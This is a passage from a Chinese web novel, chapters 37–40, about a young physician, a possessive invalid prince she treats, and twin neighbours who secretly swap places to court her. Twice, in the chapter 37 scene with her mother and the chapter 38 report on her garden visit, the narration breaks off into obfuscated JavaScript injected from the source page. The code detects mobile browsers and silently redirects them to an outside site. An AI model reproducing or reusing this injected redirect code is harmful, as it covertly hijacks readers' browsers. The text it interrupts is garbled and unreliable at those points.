轻声开口,“好好的过日子,怎么就突然乱了呢?” 这些年的安稳日子是她心之所向,安素雪甚至无法忍受一丁点的变化,不想让平静的水面起半分波澜。 “我来的时候就已经有这种苗头了,新皇登基后朝堂动荡,底下各个州县不听号令,天高皇帝远,为所欲为。” 出身官家的季飞白懂的自然多,虽说他父亲只是个茶马司副使,可到底不是普通人。边关看似苦寒,但实际上豪绅囤兵,官府睁一只眼闭一只眼,他在的时候乱世便已经初具端倪。 后来他策马上路,一路上的所见所闻更是如此,马匪当道,官府不敢出兵剿匪,若不是他会功夫,恐怕都无法全身而退。 “现在看来,情况越发严重了。” 季飞白从未说过自己一路上的艰辛困苦,但安素雪稍作想象,便可窥得一二。听母亲说,他比自己还小上几个月。 路途遥远,其困难油然可知。 他们是普通百姓,只知道世道乱了的结果,却不明白缘由。 …… 车棚投下一片阴影,安素雪半张脸隐在暗色里,眉眼却璀璨如星。 回城路上偶会碰见几个异乡人,面对他们的求助,安素雪抿着唇低声讲明缘由。 季飞白叫她不必多解释。 “有些人会觉得你帮忙就是好,不帮便是坏,惹一身麻烦。” 比如方才一家三口,那妇人听安素雪说没法载他们进城后,当即破口大骂。季飞白侧目看过去,眼神凌厉如刀,当即叫妇人偃旗息鼓。 不知道是不是因为挨骂的缘故,安素雪像是一朵枯萎的花坐在那,一言不发,从季飞白的角度看,她眼眸似乎红了一片,故意别过头,不叫他看见。 若世道真的乱了,善良是最无用的东西。季飞白本想原话告诉她,但见她情绪低落的模样,他到底没说出口。 快到城门口时,远远看见进城的队伍大排场龙。 突然前面爆发一阵喧闹之声,车厢里的罗武闲不住,当即跳下车跑到前方查看。没一会跑了回来,安素雪问怎么了,罗武边弯腰查看车底边说道:“有个异乡人趴在车底想要混进城,被士兵发现了。” 幸好他们车底干干净净。 众人不由得唏嘘。 队伍缓慢前进,待快到城门口时,瞧见路边躺着一个身上有血迹的人,脸上脏污覆盖,也瞧不出是男是女,是老是少,躺在那一动不动,不知生死。 安素雪拽着裙摆像是要下车,季飞白握住她的手。 自小学医的妙龄姑娘有一颗慈悲菩萨心,安素雪以为季飞白要阻拦她, 她温声解释道:“我过去看看这人的伤势,能救就救一把。” 碰见受伤的猫狗她都会救助,何况是个活人。 “你忘了拿这个。” 日光熠熠,琥珀色的眸子漂亮的像是一块宝石,璀璨夺目。他松开握住她的手,将摆放在车厢里的药箱取出来,绳带放在她手上。 她诧异,因为她以为他是要阻拦的。 意气风发的季飞白率先走了几步,见安素雪没动,他转过身扬眉:“不去?” “去的。”她小跑着追上他。 37. 第 37 章 谢府里,谢骧的属下们每日来报朝堂近况。 “各路诸侯并起,要将天下瓜分。还有宵小之徒顶着救国之名起义,想要瓜分一杯羹。” 说话的是个年长的儒雅男人,屋里除了他坐着之外,其他人俱是站着。 “殿下,安武将军在朝中根基颇深,新帝恐怕无法动摇其根本,他是殿下的亲舅舅,若殿下呼应,相信安武将军可助殿下一臂之力!” “我那个表妹被三哥掠去宫里做了妃子,以此来威胁舅舅不得轻举妄动。君臣制衡,平安无事。” 幕僚还以为谢骧是担心表妹安危,于是道:“属下可想办法护表姑娘周全。” 谢骧神色淡淡,“当初来此便是想偏居一隅与世无争,先生,你说呢?” 事情不了了之。 幕僚们单独住在附近的一个小院子,出来之后俱是摇头叹气,只道谢骧坏了腿不说,还没了志气。 儒雅幕僚摇着折扇,半响之后道:“殿下最近是不是和一名医女走的极近?” “好像是,就是对面那家陈氏医馆的年轻医女。先生,你的意思是……?” “不急,再看看。”扇子扇了几下,他冷静几分,“对了,那医女的家世背景调查清楚。” “是,先生。” 被他们提及的医女正在城门口救人。 那人就是攀附在车底的流民,被士兵强行拽了下来,也不知怎么就跌落在地,昏迷不醒。像是一个破麻袋似的,被人随手扔在路边,生死不知。 安素雪小心查看了对方的瞳孔和脉象,又检查一遍他身上,发现除了轻微擦伤之外,没有重大伤势。 “那他为何昏迷不醒?”罗家兄弟也来了,罗武刚开始还劝安素雪莫要插手,罗文给弟弟一个眼神示意,罗武才不阻拦。 “这人腹部扁平凹陷,嘴唇干裂,看样子像是许久未进食导致的昏迷。” 躺在地上的人身上脏污不少,安素雪查看过程手上便也脏了,但她丝毫不嫌弃。为医者,不分男女,更不厌脏污。 平日里的安素雪温温柔柔,像是个没脾气的棉花人,但此刻,她神色认真,那双温柔的眉眼似乎都变得犀利起来。 季飞白站在一边看着,不知为何,觉得此刻的安素雪整个人都在发光。 安素雪去车里拿了水囊,罗武抢了过去要给那人喂水。“安安,我来。” 她能做的只有这么多了,临上车之前,安素雪将药箱里的一颗山楂丸留下。出来没带吃食,只有这个。 车厢里的氛围有些沉闷,一直到进城后,热闹繁华的景象冲散了严肃气氛,安杏花不由得感叹:“城里和城外简直天差地别。” 也不知道是因为城门的戒严,还是百姓们收到外面乱了的消息,城里的物价又开始上涨,安杏花让陈山赶紧多囤些药材,还有家里要用的米面粮油。幸好他们去的早,没过几天,米面涨的厉害,安杏花去买菜时候一打听,比之前翻了三番! 安杏花过过一段时间的苦日子,她总有办法。先去肉铺割了半扇猪,又去买了不少盐,猪肉太多太大,铺子老板亲自送货上门,陈山诧异她为何买这么多肉,安杏花和他咬耳朵道:“现在还没涨价,趁着便宜多买点,一会我就去收拾好腌上,再用烟熏一遍,能放到冬天呢!” 陈山:“用不着吧。” 安杏花不听,觉得有备无患。 肉铺子老板是个心善的,还拿了快刀,说可以帮忙分割,安杏花便比划着让他切,俩人也有一搭没一搭的说话。 说着说着,就提到了家里孩子,肉铺老板突然道:“哎,我记得你家有个姑娘是吧?” 安素雪平日里行医问诊,在城里算是小有名气,安杏花笑着应声。 那老板继续道:“我记得也是,年初时候她还陪你来买肉,当时旁边的灯笼铺子还问她是否婚配来着。” 说到这,安杏花面色有点不大好了。 那肉铺老板低头切肉,还没瞧见她的脸色,于是继续说道:“我听说他们家还找人来说媒来着,后来怎么样?没听见信儿啊。” 能怎么样?给了安素雪的生辰八字,后来就没了下文,不止如此,自打春日过后,就再也没有媒人上门提亲了,看来是安素雪八字传了出去,那些人不敢登门求娶了。 等人走后,安杏花边往猪肉上抹盐边掉眼泪,看诊回来的安素雪来到后院时,就瞧见母亲正在擦拭眼泪。 “娘,怎么了?发生什么事情了?” 她来不及放下药箱,立刻赶了过来。 “娘没事,就是想到你的婚事,有点心急。” 又是这件事。 “娘,对不起,是我不好。” 如果没有她,安杏花将过上更加幸福的生活,有疼她的丈夫,有讨喜的孩子。而不是像现在这样,要因为她而落泪。 “傻孩子。”安杏花用指尖点她的脑门,“你是我的孩子,我为你忧心是应该的,你道什么歉。你这孩子,未免太过懂事了。” 都说会哭的孩子有奶喝,可安素雪打小就懂事,只要让她吃饱饭就好,其他的都不用安杏花操心。 “娘跟你说,这次去香佛寺求签,求了个下下签。” 马前覆水,下下签。 碧若金鳞放碧漪,暗遭罗网四边围;思量无计翻身出,命到泉关苦独悲。 不用僧人解,安杏花就知道不好,她与那僧人说是给女儿求婚事,僧人解签,告诉她:“屋下安身,祸从天降,早觉先防,免遭其殃。” 意思就是让安素雪早早提防,免得遭殃。 安杏花琢磨来琢磨去,觉得和算命先生所言不谋而合。 “你想啊,算命先生说了,你命里带贵人,既然你是如此重的命格,难免会被小人觊觎,所以要多加小心。” 不管安杏花说什么,安素雪都安静的听着,时不时的点头称是。 安杏花忧心的不止这些,她害怕那些媒人碎嘴子,将女儿八字不好的事情说出去,到时候恐怕亲事更加难寻。因此,她耳提面命道:“安安,娘知道你不信这些,但这都是为了你好,只要找到你命中注定的贵人,一切危难和困难都会迎刃而解。你答应娘,好好的和他们四个相处,成不成?” 之前安素雪是不情不愿,安杏花是她亲娘,哪能看不出她敷衍。但现在不行了,安杏花说着又开始掉眼泪,亲娘哭成这样看,安素雪只能满口答应下来。 “安安啊,那你看着娘的眼睛,告诉我,你会真心对待他们四个,直到找出那个贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841194|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人为止。” 这相当于让安素雪发誓。 哪个当娘的不希望女儿好?安杏花眼里盛满了泪水,握着安素雪的手,直到看见安素雪郑重的点头。 “娘,我知道了。” …… 在陈家这些年,安素雪安分守己,懂事能干,就是不想拖累安杏花,不想成为旁人口中的拖油瓶。 但没想到,自己最后还是成了母亲的心病。 坐在药柜前收拾药箱,她垂着眸子沉思,许久之后,像是下定了某种决心,将药箱合上,走出医馆,朝着谢府去了。 “安大夫今日来的早。” 刚走进正院,迎面碰上了红袖,她掩唇说了这么一句阴阳怪气的话,意在指责每次谢府请人都要等上许久。 可惜了,安素雪并未听出来她的意思,她正紧张的拽着药箱带子,为接下来该怎么做而忧心。 安杏花觉得谢公子最有可能是那个贵人,让她来谢府时候多照顾谢公子的情绪。 “娘,怎么照顾他的情绪?” 有过两任丈夫的安杏花最有发言权,娓娓道来。“娘跟你说啊,拿捏男人,其实很简单的……” 虽说安素雪已经成年到了可以成婚生子的年纪,可她着实对男女之事一窍不通,当正房的门打开请她入内时,她心虚的差点踏空台阶。 “安大夫,小心。”站在门口的添香扶了她一把。 “谢谢。” 添香笑着道:“安大夫客气,若是有什么需要的,尽管吩咐。” 安素雪来的时候,谢骧不喜欢旁人在场,因此等她进去后,添香立刻关上房门。 明明每次来都是如此,可今天那声关门声吓的安素雪手哆嗦了一下。 “你在害怕?” 谢骧就坐在半开的窗户边上,手上拿着一卷书,此刻侧头看过来,日光只照在他半张脸上,另外半张脸隐在暗色里,看不清楚他的神色。 “没有的。”安素雪低垂着脑袋迈步走到他身侧,深呼一口气镇定下来,像是以往那样询问,“谢公子,近日可有不适?” 其实她应该问腿上是否有感觉,但安素雪是个心善的姑娘,怕提及他的痛处,便换了说法。 “还好。”谢骧答。 安素雪打开药箱将东西一一拿出来。 谢骧饶有趣味的看她。 明明刚进来时候紧张窘迫完全是妙龄少女的模样,但一碰到药箱子就像是换了个人似的,眉眼温柔冷静,宛若普济众生的观世音菩萨。 鸦羽似的睫毛低垂,她拿出银针,准备好后便蹲在了谢骧腿边。 挽起男人的裤腿,柔软温暖的指腹像是羽毛,划过谢骧的肌肤,又带来熟悉的痒意。随意搭在扶手上的大手收紧,腿也不由自主的绷起来。 谢骧不良于行没多久,每日又有人按摩,身上依旧是有肌肉在的,紧绷之后,摸起来硬邦邦,安素雪手指点在他穴位上,柔声道:“放松,免得一会不好入针。” 帮忙按了一会,感受到他放松下来,安素雪起身去拿银针,只是她刚转过身,就被人攥住了腕子。 轮椅上的青年眸色沉沉。“安安,你对旁人也是如此吗?” “谢公子,你、你叫我什么?” 38. 第 38 章 家里人都会叫她的小名,外人则更多是叫她安大夫,也有叫安姑娘的。 其实安素雪一直觉得只是个称呼而已,不甚重要,但不知道为何,从谢骧嘴里念出来“安安”二字,莫名的让她耳热。 谢骧的手一直握住那截皓腕,她看着就清瘦,握起来才知道比想象中更加纤细。 明明已经入夏,但谢骧的体温低于常人,落在皮肤上有种被蛇缠绕而上的错觉。 “我听罗家两位公子俱是叫你安安,难道,我不可以么?” 这…… 安素雪一时不知道该怎么回答。 “一个称呼罢了,”她低垂着眼眸,努力忽视投在自己身上的灼灼视线,“谢公子随意。” 这人握着自己手做什么? 安素雪刚要挣脱,手上的禁锢感消失。他应该不是故意的,只是顺手罢了。安素雪如此想着,粉白的皮肤却是红了大半。 如此不经挑|逗。 贝齿咬着殷红的唇,红色蔓延至纤细凝白的脖颈。 她的反应极大的取悦了谢骧,他一只手撑着额头,唇角噙着若有若无的笑意。 狭长的眉眼里入目可及都是灰蒙蒙一片,却以安素雪殷红的唇为中心,渐渐地恢复色彩,妙龄少女的一举一动打破了死气沉沉。 一潭死水,被春日的柳叶拂过,泛起让人心动的涟漪。 谢骧换了夏衣,单薄的裤腿很容易挽起,索性就坐在轮椅上,让安素雪给他施针,正好可以垂眸看她。 谢骧虽然不懂医术,但也知道针灸之术讲究经验,需找到穴位,方可奏效。 显然,她对人体穴位极为熟悉,下针时干脆利落,没有丝毫的犹豫。 和平日里的她判若两人。 这更加勾起谢骧的兴趣,在她问感觉如何时,谢骧淡声道:“还不错。” 结束之后,安素雪在准备好的水盆里净手,擦干净手后来收拾药箱,余光瞥见谢骧拿着一卷书,她好奇觑了一眼,意外发现是她找了许久的诗词孤本。 “有兴趣?”他从书本里抬起眼帘,眉压眼的长相,漫不经心抬眼时总会给人一种压迫感。 “嗯,最近我也在看相关的书,还曾找过这本,可惜书肆里没有的。” 安素雪该做的事情做完了,该离开的。但脑海里想到安杏花的嘱托,她只能硬着头皮多留一会,母亲教的话却怎么也说不出口。 安杏花说了,拿捏一个男人根本没有想象中那么难,只需要稍加关心便好,动动嘴的事情。 “你给谢公子看完之后别着急走,可以坐下喝杯茶聊聊天。他应该不是本地人吧?你就多关心他,问问在这儿是否适应?气候和他老家比如何?诸如此类的话。” 这几句话好像没有特别之处,安素雪不确定娘教的对不对,但她自己什么都不懂,只能照做。 谢骧将书籍合上,泛黄的书面彰显年代悠久,他道:“若安安想要看,给你便是。” 书肆里当然没有,因为都被谢骧派人买回来了。 她的一举一动都在谢骧的管控之下,想要提前一步做打算轻而易举。 “真的吗?”安素雪明显高兴起来,也忽略了谢骧那声安安。 “一本书而已,我这还有许多诗词孤本,添香,上茶,红袖,去将书籍取来。” 如果是之前的安素雪,大抵会不好意思先行告辞,但她今日咬着牙应下,坐在了谢骧对面。 俩人隔着一张小桌,添香很快进来上了茶水,也不知道泡的什么茶叶,清雅的香气很快蔓延室内。 “安安平日里喜欢喝什么茶?” 很多东西,次数多了便也习惯了,就像是谢骧唇齿轻启,舌尖抵着下颚,慢条斯理念出安安二字,虽和其他人的叫法不太一样,但几次之后,安素雪开始习惯。 “我不太挑的,都可以,在家喝茶时会按照季节放药材,比如天热时候放菊花,可清火明目,秋日多咳时放罗汉果,止咳平喘,冬日里养生,就会放一捏枸杞,茶汤也会变得澄亮清甜。” 说起这些,她便头头是道,完全不复方才沉默寡言的模样。 谢骧静静听着,眼睛一直落在她身上,瞧见她脸颊热的红扑扑,吩咐添香将窗子都打开。 这可是从未有过的事情,正房一直都只开半扇窗子。 “是!”添香喜出望外,红袖也过来帮忙开窗,但她脸色不大好。 要知道刚到这里时,谢骧因为不良于行所以讨厌见到人也讨厌见日光,门窗素来紧闭。 后来安素雪的一句多晒太阳,谢骧开始开窗甚至愿意去花园散步。 现在只因为她热的慌,就将窗子全开了? 她到底凭什么能得主子另眼相待? 不忿归不忿,红袖是不敢表现出来的。安素雪坐着叙话约莫一盏茶的功夫才起身告辞,谢骧叫人将书籍包装好,让她一道拎回去。 “多谢,那我就先走了。” 坐在他身边,总觉得有一种说不出来的感觉,直到从房里出来,安素雪才觉得一身轻。 往日一般都是添香送她到正院门口,然后再有其他丫鬟送,但今天添香亲自相送,态度比之前更加亲和,一口一个安姑娘。 添香在谢骧身边侍候快十年了,按照谢骧的身份地位,身边是不缺女人的,但谢骧一直在别院休养生息,醉心琴艺,后来被先帝召回宫里,作为培养下一任接班人的棋子。 当棋子能落得什么好处? 他既不能压过其他人惹嫉妒,又不能显得无能让先帝发怒。 成年之后有人送女人,也有宫里赐下的,但谢骧从来没碰过。 添香和红袖私下里偷偷说过此事,猜测因为那些女人不是自己人,都别有目的。 再后来,谢骧被人下毒,差点丢了命。 虽然保住了一条命,但他双腿被废。 或许因祸得福,才能在新帝登基清扫时,活着离开京城。 红袖一直和添香说,她们是主子身边最亲近的女人,若是主子需要,是要过去暖床的。可这些年,主子明显没有这方面的意思,反而对安素雪青睐有加。 不管只是临时起意,还是旁的,添香都要对安素雪客客气气。 …… 房间里,谢骧继续喝茶,修长瓷白的手屈起,在桌面点了几下,便立刻有人进来禀告道:“主子,安姑娘在花园停留。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849575|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “在花园?为何?” “那只滚地锦不知道怎么跑出来了,正好被安姑娘撞见,安姑娘正在给它包扎伤口。” 谢骧冷笑,眼神变得阴鸷。 原来她不止是对他特别,是对任何受伤的生命都是如此。 “浑身杂毛的东西,也配。” 也配和他抢。 等再汇报时,说安素雪已经离开了,还按照谢骧的意思把那只滚地锦抓了回来。 小猫一直被关在空房里,好吃好喝的养着,送饭的丫鬟开门时没注意,才叫它跑了出来。谢骧看过来,见原本折断的后腿已经用木棍固定住了,杂色毛发里那一抹纯白纱布格外刺眼。 谢骧眼神晦暗,底下的人会意,立刻道:“污了主子的眼,属下这就将它处理好!” 滚地锦似乎感受到危险,被提起来时候凄厉惨叫使劲挣扎。 “送回去好生养着。”谢骧突然发话。 “是。” 既然她喜欢这只猫,那它就该好好的活在他身边,等着她来宠爱。 …… 从谢骧那借来的书籍派上用场,安素雪认真拜读,空无点墨的她多少增了些底气,不至于在诗会时候露怯。 不过,她还是不大适应这种场合,坐在角落里发呆。 今日不是在城里,而是在城外柳家的庄子上。说是庄子,其实建造的比普通人家的宅院精致许多,又是初夏的好时节,刚摘下的鲜果清香,坐在景色优美之地,确实能激发才情诗意。 来的宾客不少,有男有女,俱是穿着不俗,谈吐不凡。虽然今日安素雪也换了新衣服,可不免还是觉得格格不入。 “你不喜作诗,那就去玩投壶。”余念珠过来拉安素雪,“我跟你说啊,若是投壶得了头筹,还能得到彩头呢!彩头是柳姑娘送的,都是好东西,快来。” 不容分说,拉着安素雪的手过去,这里有男有女,安素雪一个都不认识,当几道视线齐刷刷的落在她身上时,她有些不自在的低下头。 “这位姑娘是?” 有个年轻的郎君开口询问安素雪的身份,余念珠便说了,然后其他人笑了笑,接着投壶玩乐,没人过来和安素雪说话。 半天的游玩结束,回到家里的安素雪摊在床上,只觉得身心疲惫。 安杏花带着小竹子敲门进来,询问今日玩的如何,安素雪起身,勉强撑着精神头,笑着道:“挺好的,人多热闹,还有各种鲜果糕点。” “安安啊,你早该这样出去交朋友了,朋友多还能聊天说说心里话,多好!见你有相处好的姑娘,娘也放心了。” 年轻人就要多凑在一起玩才是,尤其是姑娘们,也能教安素雪不少关于男女情感之事。 可哪有那么容易? 安素雪只觉得比出诊一天还要累,只想躺下睡上一觉。 “哎,安安,你别睡,我想起来,今日不是你约了罗家兄弟去茶楼听故事吗?” “坏了,我将此事忘了。” 本来困顿的眼睛瞪圆,安素雪朝着外面看过去想看天色时辰,就听见罗武的声音由远及近。 “安安,安安?我们现在就走吗?” 39. 第 39 章 之前找小竹子,罗家兄弟没少出力,安素雪早就约了他们请喝茶吃点心,作为答谢。不过因为最近都太忙,所以约在了今日。 安素雪差点忘了此事! “安安啊,先别出去。”安杏花按住了要出门的安素雪,“听娘的,去洗洗脸换那身樱粉色的衣裳。” 安素雪向来听话,一一照做。 安杏花则是先出去和罗家双生子聊天,俩人模样生的一模一样,若不是穿的不同,恐怕不好分辨。 今日罗文穿着一身青色衣服,罗武却是一身褐色,他们兄弟站在一起,容貌相似叫人难以分辨,不过性子却是差距甚大。 罗文稳重,罗武憨厚,安杏花怎么看都觉得双生子不错,如果俩人性格能捏成一个人就好了。 既稳重又活泼会哄人,安安嫁过去保管生活幸福。 可惜啊,只能嫁给其中一个。 正说着话,陈香玉回来了。 “哟,这是做什么?” 罗武是个直肠子,直接道:“等安安呢,我们要一起去茶楼听说书人讲故事。” 陈香玉脸上出现明了的神情。 安杏花笑着道:“香玉啊,你也跟着一起去吧,听听故事多好。” “我就不去了,有事。” 安杏花松了口气。 其实她也不是真的想让陈香玉去,只是顺口一问客气客气罢了。 若是她去了,安安不好和罗家兄弟说太多话。这孩子哪里都好,就是嘴皮子不如陈香玉厉害。 也是,千人千面,哪能人人都一样。 陈香玉是回来取东西的,进屋时候正好安素雪收拾好准备出来。 “等等,”陈香玉叫住人,上下打量一番,“你就这样出去?” 安素雪低头看自己,没觉得哪里不妥。 那边陈香玉已经迈步去了梳妆台。 这里是她的房间,因此只有一个梳妆台,上面摆放的也都是陈香玉自己的东西,安素雪很少化妆,没什么胭脂水粉。 陈香玉拿过两个小盒子过来,颐指气使道:“还不坐下?” “姐姐,是要上妆吗?” 她有心说不用,陈香玉已经开口了,语气不耐烦道:“不然我拿胭脂做什么?让你坐下就坐下,成日里也不打扮,枉费长了一张美人面。” 坐下后,陈香玉让她闭眼,安素雪照做。 没用多久,房门开了,罗武等的都着急了,连忙转身道:“安安,我们走……吧。” 陈香玉先走出来,后面跟着穿樱粉色衣裙的妙龄姑娘,步履轻盈,丰姿昳丽。 平日里甚少打扮的姑娘,只需要将头发梳成繁复一些的发鬓,面颊薄涂胭脂,就像是变了个人一般。 粉腮红润,绛唇映日。 “安安……”罗武呼吸都滞了一瞬。 安杏花满意的点头,看向罗家兄弟,罗武已经目不转睛了,罗文则错开视线,低头看自己的脚尖。 安杏花蹙眉,诧异罗文的反应。殊不知,罗文深深的看了安素雪好几眼,心脏陡然狂跳,若是再不低头,怕是要被人发现他的异样。 年轻的郎君用尽全力,才克制住自己的情绪,没叫旁人看出端倪,甚至去往茶楼的路上,他都是落后半步,让罗武和安素雪并肩而行,谈笑风生。 “罗文哥,”皓齿星眸的姑娘转过头来,“怎么走后面去了?” 说着她停下脚步,等着他走近。 一刹那,好像街道两旁的商铺和行人全部消失,天地间只剩下他们二人,豆蔻年华的姑娘冰肌莹彻,楚楚动人,含笑晏晏的等他过来。 罗文快走一步,张嘴欲要说什么。 “大哥,快些走。”罗武突如其来的一句话打断了幻想中的旖旎,罗文眼神顿时变得清明,点点头道:“是了,我们定的好位置,得早些去才是。” 已然黄昏时分,再有不到一个时辰,天就会完全黑下去,若是不点烛火,伸手不见五指不说,更是识人不清。 在踏进茶楼时,罗文深深的看了一眼天边最后的光亮。 …… 为了感谢罗家兄弟,安素雪是提前几天过来定了位置。 当时还想叫上季飞白来着,但他好像比之前更忙,早出晚归见不到人影,遂作罢。 这家茶楼时当地最大的,足足有三层,可媲美上好的酒楼。 说书先生在一楼大厅,最前面的位置上有个高台,高台之上挂着一圈灯笼,虽然天色未黑,但做生意讲究亮亮堂堂,早就已经点亮,烛火通明,热闹非凡。 一楼没有雅间俱是散客,讲究个便宜热闹,随听随走。二楼则是有窗户,可边品香茗边听故事,三楼离说书人更远,愿意听故事可以开窗,不愿意听大可关窗谈事情。 安素雪定了二楼雅间,推开窗,正好面对着说书先生,可看见对方的动作,声音也更加洪亮。 这里自然是贵的,要点上好的茶叶才行。 除此之外,安素雪还点了招牌糕点,这里还有小吃提供,便又点了几份。 “够了,安安,莫要再点了。”罗文知晓坐在这里恐怕花费不菲,出声打住。 “我还没吃晚饭呢,”安素雪笑着道,“你们也没吃吧?就再要三碗阳春面,罗文哥,好么?” 春水融融,可化开万物。 罗文怎么忍心说不好。 这里的伙计手脚麻利,早就将茶水和点心上好了,没过一会,三碗热腾腾的阳春面便也好了。 不过对比饭馆里的面,明显份量更小,是为了让客人多点糕点多花钱。 正好吃个半饱,慢悠悠喝茶吃点心。 其实,安素雪很少来这等地方,因此听的格外认真,一双杏眸圆瞪,会因为说到悲伤处而眼睛酸涩,会因为说到精彩之时使劲鼓掌。 鲜活的像是刚刚绽放的花朵,通体散发着诱人香气。 罗家兄弟一左一右坐在她的两侧,待天边最后一丝光亮消失之后,他们心照不宣的起身,说要去方便。 安素雪点头说好,还让他们快点回来。“正要讲到最精彩的部分呢!” 只是再回来时,却只有一个人。 雅间里来了小伙计说帮忙掌灯,“我来。”方才进来的人影说道。 安素雪回过头,两兄弟的声音差不多,她一时没辨认出回来的是谁。不过随着烛火亮起,她看见回来的人穿着褐色布衫。 “罗武,罗文哥呢?” 罗武把蜡烛用灯罩罩住,光亮变得更加柔和昏黄,宛若暗金浮动。 “客人,这还有灯座,您可再点几个,屋里才亮堂。” 伙计好心提醒,罗武点头,那伙计知道客人都不喜人打扰,于是弯着腰离去关好房门。 可罗 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安素雪拿着一把瓜子,小声的点评道:“罗武,你说是不是?” “嗯,”他只应了一声,抬手拎起茶壶,又给安素雪续了茶水。 那说书人讲到关键之处,安素雪忘了吃瓜子,屏气凝神细细听着,一双杏眸炯炯有神。 她身侧的罗武则是悄然将视线落在她的脸颊上,用眼睛细细描绘她的轮廓。 待一个故事结束,满堂喝彩,安素雪拍手拍的掌心都红了,罗武拿过一旁伙计留下的毛巾,蘸水后递过来。 “安安,擦手。” 一桌子糕点和零嘴,被吃的七七八八,安素雪抓过瓜子的手落了不少渣滓,她刚要接过,发现自己手出汗发黏,便道:“你放在桌子上,我蹭蹭就好。” 罗武没作声,索性直接握住她的手,低头认真擦拭起来。 “你这样让我想到罗文哥,”安素雪眉眼弯弯,“记得小时候有一次过年,你给我拿了把糖,结果我们握的太紧,没等吃完就在手里化开了,手心里黏糊糊的,怕被大人骂就去厨房自己找热水洗。” 罗武继续给她擦手,接话道:“然后水太烫,差点烫伤。” 安素雪抬头看他:“幸好后来罗文哥来了,就像是现在这样,他帮我们擦干净。” 先是擦拭掌心,然后再擦指缝,认认真真,一丝不苟。 明明只比她大一岁而已,却格外的会照顾人。 安素雪还在继续说着,突然想到了什么闭上嘴。 完了。 出门前娘特意叮嘱过,面对谁便要多说谁的好话。 可她方才在做什么?一直在说罗文哥。 懊恼和无措席卷而来,她紧张的手指僵硬。有所察觉的人抬眸看过来,便见到她低垂眼眸,贝齿轻咬下唇。 “其实……”她斟酌了片刻,只能硬着头皮道,“罗武,你也很贴心的,谢谢你帮我擦手,我也帮你擦擦吧。” 雅间里备了两条毛巾,安素雪的手擦干净了,便拿起另外一条。 可罗武突然缩回手。 什么意思,不用么? 但很快,他又伸出手。 烛火在他身后,安素雪瞧不清他的脸色,总觉得罗武今日怪怪的,甚至握住他手的时候,感觉他的身体在发颤。 为什么? 40. 第 40 章 两家挨的近,罗武看着安素雪进去之后,他才转身回家。 今日回来的晚,家里人都已经歇下了,他在外面舀水清洗一番,才回房去。 “大哥,怎么样?” 刚和安素雪从茶楼里回来的不是罗武,眼前这个从床上鲤鱼打挺跳起来,一脸期待的人才是。 “我们特意换了衣服,再加上天黑,安安应该没发现吧?” 罗文刚洗完脸,进屋之后拿过毛巾就要擦拭。罗武忙不迭的献殷勤,将自己毛巾递了过去。 “今日刚清洗干净的,大哥你用吧。” 罗文没用,只拿起自己的毛巾擦脸,同时脑海里不断回想在茶楼里发生的一幕幕。 善良的姑娘时常照顾小竹子,所以给人擦手的动作格外利落,他好像都没反应过来,她便已经帮他擦干净手了。 太快了,罗文想。 正因为太快,他本不该记得太过清楚的,可不知为何,他甚至现在还能记得她低垂眼睫,咬着红唇的模样。 附近左邻右舍都知道,陈山有个模样出挑的继女,小时候便生的粉雕玉琢,长大之后更是袅袅娜娜,亭亭玉立。 罗文以前只知道邻家妹妹生的可爱娇憨,性格也讨喜,因为做什么都愿意带着她,也愿意照顾她。 罗文无比确定,自己是拿安素雪当妹妹看待的。 但……是从什么时候开始发生变化的? “大哥?到底怎么样你倒是说句话啊!” 罗武的急切将罗文叫回神,他放下毛巾,神色平静道:“还好。” 罗武更急了,追问他走了之后罗文和安素雪相处的细节。罗文便一一说明,唯独隐去他们擦手这件事。 罗武后退几步像是失去目标似的,直接摊倒在床上,失望道:“也没什么不同啊,如果我留下,也会这样和安安说话。” 他有自知之明,知道自己太过笨拙,不会做讨人欢喜的事情,所以才央求罗文,让他代替他讨好安安。 可这么看的话,好像没什么特别之处?他自己上,也是可以的。 不过,罗武有些吃味。转过头,看罗文脱下衣服准备就寝,他怪里怪气道:“开心极了吧?” 罗文皱眉。 “是你让我换衣服代替你回去的。” 虽然俩人只是说说话,而且也确实是罗武的主意,但他就是心里不舒坦。 “是啊,是我让的,但你肯定心里暗爽,能单独和安安相处不说,还可以顶着我的名义,安安和你亲近的时候,你肯定舒坦极了!” “说的什么浑话?!” 罗武越想越不是滋味。 “发生了什么都是你告诉我的,我怎么知道你是不是骗我?” 是,诚然是他主动提的让大哥代替他,但他吃醋不行么? 越想,罗武心里越发酸涩,审视的目光看向罗文,怀疑他和安安有其他事情他没如实说来。 “我骗你对我有何益处?” “好处多了去了,”已经钻入牛角尖的罗武冷笑,“和安安亲近,得安安的芳心,难道这不是天大的好处?” 罗文也上来一股火,声音不免提高:“你简直不可理喻!” 兄弟俩越吵越厉害,眼看着就要动手打起来,罗母听见动静从屋里出来,扶着门框大喊:“吵什么吵?不睡觉都给老娘滚出去!” 登时安静下来,鸦雀无声。 …… 可兄弟都没睡好,翌日顶着两个青黑的眼圈,打着哈欠懒洋洋的起身,罗母上下打量他们兄弟俩。 “做什么?你们半夜不睡觉干活了?库房里的酒可一坛子都没多。” 罗母故意挖苦兄弟俩,罗文笑笑:“夜里睡觉有蚊虫,嗡嗡叫烦的很,所以才没休息好。” 罗母脾气火爆,时常揍两个不听话的儿子,因此罗武讷讷不语,认定罗文的说辞。 